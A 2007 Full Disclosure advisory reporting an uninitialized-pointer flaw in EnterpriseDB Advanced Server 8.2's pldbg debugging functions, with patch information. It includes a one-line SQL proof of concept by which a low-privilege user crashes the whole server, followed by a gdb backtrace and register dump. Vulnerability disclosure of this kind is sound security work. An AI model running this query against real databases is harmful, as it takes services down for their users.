Message-Id: <1188405279.15500.7.camel@localhost>
Date: Wed, 29 Aug 2007 18:34:39 +0200
From: Joxean Koret <joxeankoret@...oo.es>
To: Full Disclosure <full-disclosure@...ts.grok.org.uk>
Cc: Security Tracker <bugs@...uritytracker.com>,
	bugtraq@...urityfocus.com
Subject: EnterpriseDB Advanced Server 8.2 Unitialized Pointer

EnterpriseDB Advanced Server 8.2 Unitialized Pointer
----------------------------------------------------

Product Description:

EnterpriseDB is a (comercial) relational database management system
based on PostgreSQL.

Vulnerable Versions:

EnterpriseDB Advanced Server 8.2 in all supported operative systems.

Tested Operative Systems:

	Microsoft Windows 2003 SP2 x86
	Red hat Enterprise Linux 4 x86

Vulnerability Details:

A problem was found in the product EnterpriseDB which may lead to remote
code execution altought that point wasn't demostrated. At least, it is a
denial of service.

The issue exists in, almost, all the debugging functions (so is a
post-authentication vulnerability), i.e., pldbg_get_stack. The function
"pldbg_create_listener" is the responsible of starting the debug process
and must be the first function called before the client sends any
debugging command.

The problem is that, when you call *any* debugging related function
before the call to the main "pldbg_create_listener" an unitialized
pointer is used causing a DOS (denial of service) that leads to remote
code execution.

Proof of concept:

1) Connect to one vulnerable EnterpriseDB as a low level user (the
execution privilege over the pldbg_* function is granted by default).
2) Execute the following query:

edb=> select pldbg_abort_target(1094861636); -- 0x41424344 in decimal

(gdb) where
#0  0x00ba81db in sendBytes ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#1  0x00ba82a1 in sendUInt32 ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#2  0x00ba82e3 in sendString ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#3  0x00ba8880 in pldbg_abort_target ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#4  0x0816669d in ExecMakeFunctionResult ()
#5  0x08168d51 in ExecProject ()
#6  0x0817544d in ExecResult ()
#7  0x08162f65 in ExecProcNode ()
#8  0x08161931 in ExecutorRun ()
#9  0x081fa2e3 in PortalRunSelect ()
#10 0x081fb12a in PortalRun ()
#11 0x081f5a8b in exec_simple_query ()
#12 0x081f76ec in PostgresMain ()
#13 0x081ca356 in ServerLoop ()
#14 0x081cb2b7 in PostmasterMain ()
#15 0x081865d7 in main ()
(gdb) x /i $pc
0xba81db <sendBytes+11>:        mov    (%eax),%eax
(gdb) i r
eax            0x41424344       1094861636
ecx            0x4      4
edx            0xbff46c04       -1074500604
ebx            0xbacbd8 12241880
esp            0xbff46bc0       0xbff46bc0
ebp            0xbff46be8       0xbff46be8
esi            0x4      4
edi            0xbab597 12236183
eip            0xba81db 0xba81db
eflags         0x10286  66182
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0

The complete database server (droping all active conections) crashes.

Patch information:

The issue was fixed by no longer exposing a direct pointer to the client
application; instead, the server sends an opaque handle to the client
and them validate each handle when it comes back to the debugger - if
the debugger detects an invalid handle, it throws an error.

The patch is available for customers in the EnterpriseDB website.

Thanks:

Thanks to Shahzad Khokhar, Vice President of Customer Support at
EnterpriseDB Corporation. He were very kind and professional.

Disclaimer:

The information in this advisory and any of its demonstrations is
provided "as is" without any warranty of any kind. 

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory.

Contact:

Joxean Koret - joxeankoret[at]yahoo[dot]es


Download attachment "signature.asc" of type "application/pgp-signature" (192 bytes)

Powered by blists - more mailing lists